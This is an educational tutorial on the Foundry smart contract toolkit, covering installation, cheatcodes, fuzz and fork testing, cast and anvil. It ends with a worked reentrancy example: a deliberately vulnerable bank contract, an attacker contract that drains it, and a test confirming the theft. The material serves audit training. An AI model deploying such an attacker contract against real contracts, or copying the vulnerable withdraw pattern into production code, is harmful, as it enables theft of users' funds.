Setting Up Foundry
Foundry is the industry-standard toolkit for smart contract development and security testing. Written in Rust, it is 10-100x faster than JavaScript-based alternatives. More importantly for security work: you write exploits as Solidity test cases, enabling you to test vulnerabilities with the full expressiveness of Solidity itself. Think of Foundry as your Burp Suite for smart contracts — precise, scriptable, and professional.
Why Foundry Over Hardhat?
| Feature | Foundry | Hardhat |
|---|---|---|
| Test language | Solidity | JavaScript/TypeScript |
| Compilation speed | Seconds (Rust) | Minutes (JS) |
| Fuzz testing | Built-in, 1000s of runs/sec | Plugin required, slower |
| Cheatcodes | Rich set (prank, warp, deal, etc.) | Limited |
| Mainnet forking | Native, fast | Supported but slower |
| Stack traces | Excellent (Solidity-level) | Good |
| Gas reports | Built-in, detailed | Plugin required |
| Script deployment | forge script (Solidity) | deploy.js (JS) |
| Learning curve | Lower for Solidity devs | Lower for JS devs |
| Industry adoption | Now dominant for auditors | Common in older projects |
Installation
# Install foundryup (the version manager)
curl -L https://foundry.paradigm.xyz | bash
# Reload your shell (or open a new terminal)
source ~/.bashrc # or ~/.zshrc on macOS
# Install the latest Foundry tools
foundryup
# Verify installation
forge --version # e.g., forge 0.2.0 (abc1234 2024-01-01)
cast --version # cast 0.2.0 ...
anvil --version # anvil 0.2.0 ...
# Update to latest anytime:
foundryupFoundry works best on Linux/macOS. On Windows, use WSL2 (Windows Subsystem for Linux) with Ubuntu. Install WSL2 first via wsl --install in PowerShell, then run the Foundry installation inside the WSL terminal.
Project Structure
# Create a new Foundry project:
forge init my-audit-project
cd my-audit-project
# Project structure:
my-audit-project/
├── src/ # Your Solidity source files
│ └── Counter.sol # Example contract
├── test/ # Test files (must end in .t.sol)
│ └── Counter.t.sol # Example test
├── script/ # Deployment scripts (.s.sol)
│ └── Counter.s.sol
├── lib/ # Dependencies (git submodules)
│ └── forge-std/ # Foundry standard library
├── out/ # Compiled artifacts (auto-generated)
├── cache/ # Build cache (auto-generated)
└── foundry.toml # Configuration file
# Install OpenZeppelin as a dependency:
forge install OpenZeppelin/openzeppelin-contracts
# Remap it in foundry.toml or remappings.txt:
# @openzeppelin/=lib/openzeppelin-contracts/foundry.toml — Configuration Reference
[profile.default]
src = "src" # Source directory
out = "out" # Compiled artifacts output
libs = ["lib"] # Library directories
test = "test" # Test directory
# Solidity version:
solc_version = "0.8.20" # Pin exact compiler version
# Optimizer settings (must match production!):
optimizer = true # Enable optimizer
optimizer_runs = 200 # Higher = more gas optimized, bigger bytecode
# Fuzz testing settings:
[fuzz]
runs = 1000 # Number of fuzz inputs to generate per test
max_test_rejects = 65536 # Max rejected inputs before giving up
seed = "0xdeadbeef" # Reproducible fuzz runs
# Mainnet fork settings:
[rpc_endpoints]
mainnet = "${MAINNET_RPC_URL}" # From .env file
sepolia = "${SEPOLIA_RPC_URL}" # Testnet
# Etherscan for contract verification:
[etherscan]
mainnet = { key = "${ETHERSCAN_KEY}" }
# Invariant testing settings:
[invariant]
runs = 256
depth = 128 # Max calls per runYour First Test — Structure and Conventions
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol"; // Foundry test base
import "../src/SimpleBank.sol"; // Contract under test
// Test contract MUST inherit from Test
contract SimpleBankTest is Test {
SimpleBank bank;
address alice = makeAddr("alice"); // Creates deterministic test address
address bob = makeAddr("bob");
// setUp() runs BEFORE each test function
function setUp() public {
bank = new SimpleBank();
vm.deal(alice, 10 ether); // Give Alice 10 ETH
vm.deal(bob, 5 ether); // Give Bob 5 ETH
}
// Test functions MUST start with "test"
function test_Deposit() public {
vm.prank(alice); // Next call will be from alice
bank.deposit{value: 1 ether}();
// Assertion using forge-std's assertEq
assertEq(bank.getBalance(alice), 1 ether);
}
function test_Withdraw() public {
// Deposit first
vm.prank(alice);
bank.deposit{value: 2 ether}();
// Then withdraw
uint256 balanceBefore = alice.balance;
vm.prank(alice);
bank.withdraw(1 ether);
assertEq(alice.balance, balanceBefore + 1 ether);
assertEq(bank.getBalance(alice), 1 ether);
}
// Test that a revert happens (for negative testing)
function test_RevertOnInsufficientBalance() public {
vm.expectRevert("Insufficient balance"); // Expect this revert
vm.prank(alice);
bank.withdraw(100 ether); // Alice has 0, this should revert
}
}Cheatcodes Deep Dive
Cheatcodes are the superpower of Foundry. They let your tests manipulate the EVM state in ways that would be impossible in production:
// ──────────────────────────────────────────────
// IDENTITY / CALLER MANIPULATION
// ──────────────────────────────────────────────
vm.prank(address who);
// Next call ONLY will be from 'who'
vm.prank(alice);
target.adminFunction(); // Executes as alice
vm.startPrank(address who);
vm.stopPrank();
// ALL calls between start and stop are from 'who'
vm.startPrank(alice);
target.stepOne();
target.stepTwo();
vm.stopPrank();
// ──────────────────────────────────────────────
// ETH / TOKEN BALANCE MANIPULATION
// ──────────────────────────────────────────────
vm.deal(address who, uint256 amount);
// Set ETH balance of any address (including whales!)
vm.deal(address(this), 1000 ether);
// ──────────────────────────────────────────────
// TIME AND BLOCK MANIPULATION
// ──────────────────────────────────────────────
vm.warp(uint256 timestamp);
// Set block.timestamp to any value
vm.warp(block.timestamp + 30 days); // Fast-forward 30 days
vm.roll(uint256 blockNumber);
// Set block.number
vm.roll(block.number + 100); // Advance 100 blocks
// ──────────────────────────────────────────────
// REVERT TESTING
// ──────────────────────────────────────────────
vm.expectRevert(); // Expect any revert
vm.expectRevert("Error message"); // Expect specific string
vm.expectRevert(MyError.selector); // Expect custom error
// ──────────────────────────────────────────────
// STATE MANIPULATION
// ──────────────────────────────────────────────
vm.store(address target, bytes32 slot, bytes32 value);
// Directly write to any storage slot — bypass all checks!
// Useful for setting "private" variables in tests
bytes32 slot0 = bytes32(uint256(0)); // First storage slot
vm.store(address(myContract), slot0, bytes32(uint256(999)));
vm.load(address target, bytes32 slot);
// Read any storage slot directly
// ──────────────────────────────────────────────
// DEBUGGING AND LABELING
// ──────────────────────────────────────────────
vm.label(address(myContract), "MyContract");
// Give an address a human-readable label in stack traces
console.log("Value:", someUint);
// Print to terminal during tests (forge-std/console.sol)Fuzz Testing — Automated Vulnerability Discovery
Fuzz testing automatically generates thousands of random inputs to find edge cases your manual tests miss. In security auditing, this is invaluable for finding integer overflow, precision loss, and invariant violations.
contract FuzzTest is Test {
SimpleBank bank;
function setUp() public {
bank = new SimpleBank();
}
// Fuzz test: Foundry generates random 'amount' values
// Try 1000 different amounts (configurable in foundry.toml)
function testFuzz_DepositWithdraw(uint256 amount) public {
// Constrain the input to reasonable bounds
amount = bound(amount, 1, 100 ether);
address user = makeAddr("user");
vm.deal(user, amount);
vm.prank(user);
bank.deposit{value: amount}();
assertEq(bank.getBalance(user), amount, "Balance after deposit wrong");
vm.prank(user);
bank.withdraw(amount);
assertEq(bank.getBalance(user), 0, "Balance after withdraw wrong");
assertEq(user.balance, amount, "ETH not returned");
}
// Invariant: Contract balance should always equal sum of all user balances
// Foundry's invariant testing runs random call sequences and checks this
function invariant_SolvencyCheck() public view {
// This should NEVER be violated
// assertGe(address(bank).balance, totalDeposited);
}
}Fork Testing — Test Against Real Deployed Contracts
// .env file (never commit this!)
// MAINNET_RPC_URL=https://eth-mainnet.g.alchemy.com/v2/YOUR_KEY
contract ForkTest is Test {
// Real Uniswap V2 router on mainnet
address constant UNISWAP_V2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
function setUp() public {
// Fork mainnet at the latest block
vm.createSelectFork(vm.envString("MAINNET_RPC_URL"));
// Or fork at a specific block (for reproducibility):
vm.createSelectFork(vm.envString("MAINNET_RPC_URL"), 19000000);
}
function test_SwapOnUniswap() public {
// Impersonate a whale with lots of USDC
address whale = 0x37305B1cD40574E4C5Ce33f8e8306Be057fD7341;
vm.startPrank(whale);
// Now interact with real Uniswap with real USDC
// This is incredibly powerful for testing DeFi exploits!
IERC20(USDC).approve(UNISWAP_V2, type(uint256).max);
vm.stopPrank();
}
}
# Run fork test from command line:
forge test --fork-url $MAINNET_RPC_URL --match-test test_SwapOnUniswap -vvvvThe cast CLI — Interact With Blockchain
# Read contract state
cast call 0xContractAddr "balanceOf(address)(uint256)" 0xUserAddr
# Get ETH balance
cast balance 0xAddress
# Get contract bytecode
cast code 0xContractAddr
# Decode calldata
cast 4byte-decode 0xa9059cbb000000000000000000000000...
# Compute function selector
cast sig "transfer(address,uint256)" # → 0xa9059cbb
# Convert units
cast to-wei 1.5 ether # → 1500000000000000000
cast from-wei 1500000000000000000 # → 1.500000000000000000
# Compute keccak256 hash
cast keccak "MINTER_ROLE"
# Read storage slot directly
cast storage 0xContractAddr 0 # Read slot 0
# Get transaction details
cast tx 0xTxHash
# Get block details
cast block latestAnvil — Local Testnet
# Start local node with default settings (10 pre-funded accounts, 10000 ETH each)
anvil
# Output includes:
# Private Keys:
# (0) 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80
# Addresses:
# (0) 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
# Fork mainnet locally (work with real contract state, but run locally):
anvil --fork-url $MAINNET_RPC_URL
# Fork at specific block for reproducible tests:
anvil --fork-url $MAINNET_RPC_URL --fork-block-number 19000000
# Custom settings:
anvil --accounts 20 --balance 100000 --block-time 2
# Connect MetaMask to local anvil:
# Network: localhost:8545, Chain ID: 31337Complete Security Testing Example
Here is the full workflow for finding and proving a vulnerability: write the vulnerable contract, write the exploit test, then write the fixed contract and confirm the fix works:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
// ── Vulnerable contract ──
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() external payable { balances[msg.sender] += msg.value; }
function withdraw() external {
uint256 bal = balances[msg.sender];
require(bal > 0);
(bool ok,) = msg.sender.call{value: bal}(""); // VULNERABLE: state not updated yet
require(ok);
balances[msg.sender] = 0; // Too late! Reentered already
}
}
// ── Attacker contract ──
contract Attacker {
VulnerableBank target;
uint256 public stolenAmount;
constructor(address _target) { target = VulnerableBank(_target); }
function attack() external payable {
target.deposit{value: msg.value}();
target.withdraw();
stolenAmount = address(this).balance;
}
receive() external payable {
if (address(target).balance >= 1 ether) {
target.withdraw(); // Reenter!
}
}
}
// ── Test ──
contract ReentrancyTest is Test {
function test_ReentrancyExploit() public {
VulnerableBank bank = new VulnerableBank();
// Victims deposit 10 ETH total
address victim = makeAddr("victim");
vm.deal(victim, 10 ether);
vm.prank(victim);
bank.deposit{value: 10 ether}();
// Attacker has only 1 ETH
address attackerEOA = makeAddr("attacker");
vm.deal(attackerEOA, 1 ether);
vm.prank(attackerEOA);
Attacker atk = new Attacker(address(bank));
vm.prank(attackerEOA);
atk.attack{value: 1 ether}();
// Attacker stole MORE than they put in!
assertGt(atk.stolenAmount(), 1 ether, "Exploit should steal ETH");
console.log("Stolen:", atk.stolenAmount() / 1 ether, "ETH");
}
}
# Run with full trace:
# forge test --match-test test_ReentrancyExploit -vvvvRunning Tests — Command Reference
# Build all contracts:
forge build
# Run all tests:
forge test
# Run tests with gas report:
forge test --gas-report
# Run specific test file:
forge test --match-path test/SimpleBank.t.sol
# Run specific test function:
forge test --match-test test_ReentrancyExploit
# Verbose output (shows logs and traces on failure):
forge test -v # Failed tests only
forge test -vv # + logs
forge test -vvv # + stack traces
forge test -vvvv # + calldata (maximum verbosity)
# Fork test:
forge test --fork-url $MAINNET_RPC_URL
# Fuzz with more runs:
forge test --fuzz-runs 10000Common Mistakes Section
vm.prank() only affects the NEXT call. If your setup requires multiple calls as the same user, use vm.startPrank(alice) ... vm.stopPrank() to wrap a block. Forgetting this is the most common beginner mistake in Foundry tests — the second call in a sequence unexpectedly comes from the test contract's own address.
When fork testing, always pin to a specific block number: vm.createSelectFork(rpcUrl, blockNumber). Without this, your test runs against the current live blockchain state, which changes over time. Tests will become non-reproducible and fail unexpectedly when state changes.
Never hardcode API keys or RPC URLs in foundry.toml. Store them in a .env file (which should be in .gitignore) and reference them with environment variable syntax: vm.envString("MAINNET_RPC_URL"). Leaking API keys on GitHub is an immediately exploitable mistake.
Summary / Key Takeaways
| Tool | Purpose | Key Command |
|---|---|---|
| forge build | Compile contracts | forge build |
| forge test | Run all tests | forge test -vvvv |
| forge fuzz | Auto-generate inputs | Named testFuzz_* |
| forge script | Deploy/interact | forge script script/Deploy.s.sol |
| cast call | Read contract state | cast call addr "fn()(type)" |
| cast send | Write transaction | cast send addr "fn()" --value |
| anvil | Local testnet | anvil --fork-url $RPC |
| vm.prank | Impersonate address | One call only |
| vm.warp | Manipulate time | Sets block.timestamp |
| vm.deal | Set ETH balance | Any amount, any address |